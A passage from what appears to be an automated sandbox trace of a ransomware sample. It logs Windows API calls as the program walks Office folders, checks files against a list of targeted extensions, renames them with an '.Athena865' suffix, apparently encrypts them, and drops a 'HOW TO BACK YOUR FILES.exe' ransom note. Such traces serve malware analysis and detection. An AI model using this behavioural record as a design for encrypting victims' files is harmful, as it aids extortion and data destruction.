(lpBaseAddress=0x100000) returned 1 [0139.384] CloseHandle (hObject=0x154) returned 1 [0139.384] CloseHandle (hObject=0x17c) returned 1 [0139.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.385] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156c5e00, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156c5e00, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x78450, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFICE10.MMW", cAlternateFileName="")) returned 1 [0139.385] lstrcmpiW (lpString1="OFFICE10.MMW", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.385] lstrcmpiW (lpString1="OFFICE10.MMW", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.385] lstrcmpiW (lpString1="OFFICE10.MMW", lpString2=".") returned 1 [0139.385] lstrcmpiW (lpString1="OFFICE10.MMW", lpString2="..") returned 1 [0139.385] lstrcmpiW (lpString1="OFFICE10.MMW", lpString2="windows") returned -1 [0139.385] lstrcmpiW (lpString1="OFFICE10.MMW", lpString2="bootmgr") returned 1 [0139.385] lstrcmpiW (lpString1="OFFICE10.MMW", lpString2="temp") returned -1 [0139.385] lstrcmpiW (lpString1="OFFICE10.MMW", lpString2="pagefile.sys") returned -1 [0139.385] lstrcmpiW (lpString1="OFFICE10.MMW", lpString2="boot") returned 1 [0139.385] lstrcmpiW (lpString1="OFFICE10.MMW", lpString2="ids.txt") returned 1 [0139.385] lstrcmpiW (lpString1="OFFICE10.MMW", lpString2="ntuser.dat") returned 1 [0139.385] lstrcmpiW (lpString1="OFFICE10.MMW", lpString2="perflogs") returned -1 [0139.385] lstrcmpiW (lpString1="OFFICE10.MMW", lpString2="MSBuild") returned 1 [0139.385] lstrlenW (lpString="OFFICE10.MMW") returned 12 [0139.385] lstrcpyW (in: lpString1=0x241e8aa, lpString2="OFFICE10.MMW" | out: lpString1="OFFICE10.MMW") returned="OFFICE10.MMW" [0139.385] lstrlenW (lpString="OFFICE10.MMW") returned 12 [0139.385] lstrlenW (lpString="Athena865") returned 9 [0139.385] lstrcmpiW (lpString1="ICE10.MMW", lpString2="Athena865") returned 1 [0139.385] lstrlenW (lpString=".dll") returned 4 [0139.385] lstrcmpiW (lpString1="OFFICE10.MMW", lpString2=".dll") returned 1 [0139.385] lstrlenW (lpString=".lnk") returned 4 [0139.385] lstrcmpiW (lpString1="OFFICE10.MMW", lpString2=".lnk") returned 1 [0139.385] lstrlenW (lpString=".ini") returned 4 [0139.385] lstrcmpiW (lpString1="OFFICE10.MMW", lpString2=".ini") returned 1 [0139.386] lstrlenW (lpString=".sys") returned 4 [0139.386] lstrcmpiW (lpString1="OFFICE10.MMW", lpString2=".sys") returned 1 [0139.386] lstrlenW (lpString="OFFICE10.MMW") returned 12 [0139.386] lstrlenW (lpString="bak") returned 3 [0139.386] lstrcmpiW (lpString1="MMW", lpString2="bak") returned 1 [0139.386] lstrlenW (lpString="ba_") returned 3 [0139.386] lstrcmpiW (lpString1="MMW", lpString2="ba_") returned 1 [0139.386] lstrlenW (lpString="dbb") returned 3 [0139.386] lstrcmpiW (lpString1="MMW", lpString2="dbb") returned 1 [0139.386] lstrlenW (lpString="vmdk") returned 4 [0139.386] lstrcmpiW (lpString1=".MMW", lpString2="vmdk") returned -1 [0139.386] lstrlenW (lpString="rar") returned 3 [0139.386] lstrcmpiW (lpString1="MMW", lpString2="rar") returned -1 [0139.386] lstrlenW (lpString="zip") returned 3 [0139.386] lstrcmpiW (lpString1="MMW", lpString2="zip") returned -1 [0139.386] lstrlenW (lpString="tgz") returned 3 [0139.386] lstrcmpiW (lpString1="MMW", lpString2="tgz") returned -1 [0139.386] lstrlenW (lpString="vbox") returned 4 [0139.386] lstrcmpiW (lpString1=".MMW", lpString2="vbox") returned -1 [0139.386] lstrlenW (lpString="vdi") returned 3 [0139.386] lstrcmpiW (lpString1="MMW", lpString2="vdi") returned -1 [0139.386] lstrlenW (lpString="vhd") returned 3 [0139.386] lstrcmpiW (lpString1="MMW", lpString2="vhd") returned -1 [0139.386] lstrlenW (lpString="vhdx") returned 4 [0139.386] lstrcmpiW (lpString1=".MMW", lpString2="vhdx") returned -1 [0139.386] lstrlenW (lpString="avhd") returned 4 [0139.387] lstrcmpiW (lpString1=".MMW", lpString2="avhd") returned -1 [0139.387] lstrlenW (lpString="db") returned 2 [0139.387] lstrcmpiW (lpString1="MW", lpString2="db") returned 1 [0139.387] lstrlenW (lpString="db2") returned 3 [0139.387] lstrcmpiW (lpString1="MMW", lpString2="db2") returned 1 [0139.387] lstrlenW (lpString="db3") returned 3 [0139.387] lstrcmpiW (lpString1="MMW", lpString2="db3") returned 1 [0139.387] lstrlenW (lpString="dbf") returned 3 [0139.387] lstrcmpiW (lpString1="MMW", lpString2="dbf") returned 1 [0139.387] lstrlenW (lpString="mdf") returned 3 [0139.387] lstrcmpiW (lpString1="MMW", lpString2="mdf") returned 1 [0139.387] lstrlenW (lpString="mdb") returned 3 [0139.387] lstrcmpiW (lpString1="MMW", lpString2="mdb") returned 1 [0139.387] lstrlenW (lpString="sql") returned 3 [0139.387] lstrcmpiW (lpString1="MMW", lpString2="sql") returned -1 [0139.387] lstrlenW (lpString="sqlite") returned 6 [0139.387] lstrcmpiW (lpString1="10.MMW", lpString2="sqlite") returned -1 [0139.387] lstrlenW (lpString="sqlite3") returned 7 [0139.387] lstrcmpiW (lpString1="E10.MMW", lpString2="sqlite3") returned -1 [0139.387] lstrlenW (lpString="sqlitedb") returned 8 [0139.387] lstrcmpiW (lpString1="CE10.MMW", lpString2="sqlitedb") returned -1 [0139.387] lstrlenW (lpString="xml") returned 3 [0139.387] lstrcmpiW (lpString1="MMW", lpString2="xml") returned -1 [0139.387] lstrlenW (lpString="$er") returned 3 [0139.387] lstrcmpiW (lpString1="MMW", lpString2="$er") returned 1 [0139.387] lstrlenW (lpString="4dd") returned 3 [0139.387] lstrcmpiW (lpString1="MMW", lpString2="4dd") returned 1 [0139.387] lstrlenW (lpString="4dl") returned 3 [0139.387] lstrcmpiW (lpString1="MMW", lpString2="4dl") returned 1 [0139.388] lstrlenW (lpString="^^^") returned 3 [0139.388] lstrcmpiW (lpString1="MMW", lpString2="^^^") returned 1 [0139.388] lstrlenW (lpString="abs") returned 3 [0139.388] lstrcmpiW (lpString1="MMW", lpString2="abs") returned 1 [0139.388] lstrlenW (lpString="abx") returned 3 [0139.388] lstrcmpiW (lpString1="MMW", lpString2="abx") returned 1 [0139.388] lstrlenW (lpString="accdb") returned 5 [0139.388] lstrcmpiW (lpString1="0.MMW", lpString2="accdb") returned -1 [0139.388] lstrlenW (lpString="accdc") returned 5 [0139.388] lstrcmpiW (lpString1="0.MMW", lpString2="accdc") returned -1 [0139.388] lstrlenW (lpString="accde") returned 5 [0139.388] lstrcmpiW (lpString1="0.MMW", lpString2="accde") returned -1 [0139.388] lstrlenW (lpString="accdr") returned 5 [0139.388] lstrcmpiW (lpString1="0.MMW", lpString2="accdr") returned -1 [0139.388] lstrlenW (lpString="accdt") returned 5 [0139.388] lstrcmpiW (lpString1="0.MMW", lpString2="accdt") returned -1 [0139.388] lstrlenW (lpString="accdw") returned 5 [0139.388] lstrcmpiW (lpString1="0.MMW", lpString2="accdw") returned -1 [0139.388] lstrlenW (lpString="accft") returned 5 [0139.388] lstrcmpiW (lpString1="0.MMW", lpString2="accft") returned -1 [0139.388] lstrlenW (lpString="adb") returned 3 [0139.388] lstrcmpiW (lpString1="MMW", lpString2="adb") returned 1 [0139.388] lstrlenW (lpString="adb") returned 3 [0139.388] lstrcmpiW (lpString1="MMW", lpString2="adb") returned 1 [0139.388] lstrlenW (lpString="ade") returned 3 [0139.388] lstrcmpiW (lpString1="MMW", lpString2="ade") returned 1 [0139.388] lstrlenW (lpString="adf") returned 3 [0139.388] lstrcmpiW (lpString1="MMW", lpString2="adf") returned 1 [0139.389] lstrlenW (lpString="adn") returned 3 [0139.389] lstrcmpiW (lpString1="MMW", lpString2="adn") returned 1 [0139.389] lstrlenW (lpString="adp") returned 3 [0139.389] lstrcmpiW (lpString1="MMW", lpString2="adp") returned 1 [0139.389] lstrlenW (lpString="alf") returned 3 [0139.389] lstrcmpiW (lpString1="MMW", lpString2="alf") returned 1 [0139.389] lstrlenW (lpString="ask") returned 3 [0139.389] lstrcmpiW (lpString1="MMW", lpString2="ask") returned 1 [0139.389] lstrlenW (lpString="btr") returned 3 [0139.389] lstrcmpiW (lpString1="MMW", lpString2="btr") returned 1 [0139.389] lstrlenW (lpString="cat") returned 3 [0139.389] lstrcmpiW (lpString1="MMW", lpString2="cat") returned 1 [0139.389] lstrlenW (lpString="cdb") returned 3 [0139.389] lstrcmpiW (lpString1="MMW", lpString2="cdb") returned 1 [0139.389] lstrlenW (lpString="ckp") returned 3 [0139.389] lstrcmpiW (lpString1="MMW", lpString2="ckp") returned 1 [0139.389] lstrlenW (lpString="cma") returned 3 [0139.389] lstrcmpiW (lpString1="MMW", lpString2="cma") returned 1 [0139.389] lstrlenW (lpString="cpd") returned 3 [0139.389] lstrcmpiW (lpString1="MMW", lpString2="cpd") returned 1 [0139.389] lstrlenW (lpString="dacpac") returned 6 [0139.389] lstrcmpiW (lpString1="10.MMW", lpString2="dacpac") returned -1 [0139.389] lstrlenW (lpString="dad") returned 3 [0139.389] lstrcmpiW (lpString1="MMW", lpString2="dad") returned 1 [0139.389] lstrlenW (lpString="dadiagrams") returned 10 [0139.389] lstrcmpiW (lpString1="FICE10.MMW", lpString2="dadiagrams") returned 1 [0139.389] lstrlenW (lpString="daschema") returned 8 [0139.389] lstrcmpiW (lpString1="CE10.MMW", lpString2="daschema") returned -1 [0139.389] lstrlenW (lpString="db-journal") returned 10 [0139.390] lstrcmpiW (lpString1="FICE10.MMW", lpString2="db-journal") returned 1 [0139.390] lstrlenW (lpString="db-shm") returned 6 [0139.390] lstrcmpiW (lpString1="10.MMW", lpString2="db-shm") returned -1 [0139.390] lstrlenW (lpString="db-wal") returned 6 [0139.390] lstrcmpiW (lpString1="10.MMW", lpString2="db-wal") returned -1 [0139.390] lstrlenW (lpString="dbc") returned 3 [0139.390] lstrcmpiW (lpString1="MMW", lpString2="dbc") returned 1 [0139.390] lstrlenW (lpString="dbs") returned 3 [0139.390] lstrcmpiW (lpString1="MMW", lpString2="dbs") returned 1 [0139.390] lstrlenW (lpString="dbt") returned 3 [0139.390] lstrcmpiW (lpString1="MMW", lpString2="dbt") returned 1 [0139.390] lstrlenW (lpString="dbv") returned 3 [0139.390] lstrcmpiW (lpString1="MMW", lpString2="dbv") returned 1 [0139.390] lstrlenW (lpString="dbx") returned 3 [0139.390] lstrcmpiW (lpString1="MMW", lpString2="dbx") returned 1 [0139.390] lstrlenW (lpString="dcb") returned 3 [0139.390] lstrcmpiW (lpString1="MMW", lpString2="dcb") returned 1 [0139.390] lstrcmpiW (lpString1="MMW", lpString2="dct") returned 1 [0139.391] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.Athena865") returned 71 [0139.391] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw.athena865"), dwFlags=0x1) returned 1 [0139.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.392] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=492624) returned 1 [0139.392] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.393] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.393] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.393] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.393] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.393] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.394] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x78750, lpName=0x0) returned 0x154 [0139.395] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x78750) returned 0x2bb0000 [0139.417] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.417] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.417] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.418] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.418] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0139.423] CloseHandle (hObject=0x154) returned 1 [0139.423] CloseHandle (hObject=0x17c) returned 1 [0139.423] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.423] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.423] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.425] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156c5e00, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156c5e00, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x78450, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFICE10.MMW", cAlternateFileName="")) returned 0 [0139.425] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0139.425] ReleaseMutex (hMutex=0xec) returned 1 [0139.425] CloseHandle (hObject=0xec) returned 1 [0139.425] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0139.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b9b0 | out: hHeap=0x4f0000) returned 1 [0139.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f760 | out: hHeap=0x4f0000) returned 1 [0139.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned 47 [0139.425] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\F66C570E59AFEB095A1BFA83C262E58A") returned 0xec [0139.425] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0139.425] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0139.426] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0139.426] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\how to back your files.exe"), bFailIfExists=1) returned 0 [0139.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0139.428] GetLastError () returned 0x0 [0139.428] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0139.428] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x554940 [0139.428] ReadFile (in: hFile=0xf4, lpBuffer=0x554940, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x554940*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0139.429] CloseHandle (hObject=0xf4) returned 1 [0139.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554940 | out: hHeap=0x4f0000) returned 1 [0139.429] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0139.429] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcf111ac0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcf111ac0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0139.430] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.430] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.430] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0139.430] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xcf111ac0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xcf111ac0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.430] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.430] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.430] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0139.430] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0139.430] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x14e98550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x53b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACCDDSUI.DLL", cAlternateFileName="")) returned 1 [0139.430] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.431] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.431] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2=".") returned 1 [0139.431] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2="..") returned 1 [0139.431] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2="windows") returned -1 [0139.431] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2="bootmgr") returned -1 [0139.431] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2="temp") returned -1 [0139.431] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2="pagefile.sys") returned -1 [0139.431] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2="boot") returned -1 [0139.431] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2="ids.txt") returned -1 [0139.431] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2="ntuser.dat") returned -1 [0139.431] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2="perflogs") returned -1 [0139.431] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2="MSBuild") returned -1 [0139.431] lstrlenW (lpString="ACCDDSUI.DLL") returned 12 [0139.431] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ACCDDSUI.DLL" | out: lpString1="ACCDDSUI.DLL") returned="ACCDDSUI.DLL" [0139.431] lstrlenW (lpString="ACCDDSUI.DLL") returned 12 [0139.431] lstrlenW (lpString="Athena865") returned 9 [0139.431] lstrcmpiW (lpString1="DDSUI.DLL", lpString2="Athena865") returned 1 [0139.431] lstrlenW (lpString=".dll") returned 4 [0139.431] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2=".dll") returned 1 [0139.431] lstrlenW (lpString=".lnk") returned 4 [0139.431] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2=".lnk") returned 1 [0139.431] lstrlenW (lpString=".ini") returned 4 [0139.431] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2=".ini") returned 1 [0139.431] lstrlenW (lpString=".sys") returned 4 [0139.431] lstrcmpiW (lpString1="ACCDDSUI.DLL", lpString2=".sys") returned 1 [0139.431] lstrlenW (lpString="ACCDDSUI.DLL") returned 12 [0139.431] lstrlenW (lpString="bak") returned 3 [0139.432] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0139.432] lstrlenW (lpString="ba_") returned 3 [0139.432] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0139.432] lstrlenW (lpString="dbb") returned 3 [0139.432] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0139.432] lstrlenW (lpString="vmdk") returned 4 [0139.432] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0139.432] lstrlenW (lpString="rar") returned 3 [0139.432] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0139.432] lstrlenW (lpString="zip") returned 3 [0139.432] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0139.432] lstrlenW (lpString="tgz") returned 3 [0139.432] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0139.432] lstrlenW (lpString="vbox") returned 4 [0139.432] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0139.432] lstrlenW (lpString="vdi") returned 3 [0139.432] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0139.432] lstrlenW (lpString="vhd") returned 3 [0139.432] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0139.432] lstrlenW (lpString="vhdx") returned 4 [0139.432] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0139.432] lstrlenW (lpString="avhd") returned 4 [0139.432] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0139.432] lstrlenW (lpString="db") returned 2 [0139.432] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0139.432] lstrlenW (lpString="db2") returned 3 [0139.432] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0139.432] lstrlenW (lpString="db3") returned 3 [0139.433] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0139.433] lstrlenW (lpString="dbf") returned 3 [0139.433] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0139.433] lstrlenW (lpString="mdf") returned 3 [0139.433] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0139.433] lstrlenW (lpString="mdb") returned 3 [0139.433] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0139.433] lstrlenW (lpString="sql") returned 3 [0139.433] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0139.433] lstrlenW (lpString="sqlite") returned 6 [0139.433] lstrcmpiW (lpString1="UI.DLL", lpString2="sqlite") returned 1 [0139.433] lstrlenW (lpString="sqlite3") returned 7 [0139.433] lstrcmpiW (lpString1="SUI.DLL", lpString2="sqlite3") returned 1 [0139.433] lstrlenW (lpString="sqlitedb") returned 8 [0139.433] lstrcmpiW (lpString1="DSUI.DLL", lpString2="sqlitedb") returned -1 [0139.433] lstrlenW (lpString="xml") returned 3 [0139.433] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0139.433] lstrlenW (lpString="$er") returned 3 [0139.433] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0139.433] lstrlenW (lpString="4dd") returned 3 [0139.433] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0139.433] lstrlenW (lpString="4dl") returned 3 [0139.433] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0139.433] lstrlenW (lpString="^^^") returned 3 [0139.433] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0139.433] lstrlenW (lpString="abs") returned 3 [0139.433] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0139.433] lstrlenW (lpString="abx") returned 3 [0139.433] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0139.434] lstrlenW (lpString="accdb") returned 5 [0139.434] lstrcmpiW (lpString1="I.DLL", lpString2="accdb") returned 1 [0139.434] lstrlenW (lpString="accdc") returned 5 [0139.434] lstrcmpiW (lpString1="I.DLL", lpString2="accdc") returned 1 [0139.434] lstrlenW (lpString="accde") returned 5 [0139.434] lstrcmpiW (lpString1="I.DLL", lpString2="accde") returned 1 [0139.434] lstrlenW (lpString="accdr") returned 5 [0139.434] lstrcmpiW (lpString1="I.DLL", lpString2="accdr") returned 1 [0139.434] lstrlenW (lpString="accdt") returned 5 [0139.434] lstrcmpiW (lpString1="I.DLL", lpString2="accdt") returned 1 [0139.434] lstrlenW (lpString="accdw") returned 5 [0139.434] lstrcmpiW (lpString1="I.DLL", lpString2="accdw") returned 1 [0139.434] lstrlenW (lpString="accft") returned 5 [0139.434] lstrcmpiW (lpString1="I.DLL", lpString2="accft") returned 1 [0139.434] lstrlenW (lpString="adb") returned 3 [0139.434] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0139.434] lstrlenW (lpString="adb") returned 3 [0139.434] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0139.434] lstrlenW (lpString="ade") returned 3 [0139.434] lstrcmpiW 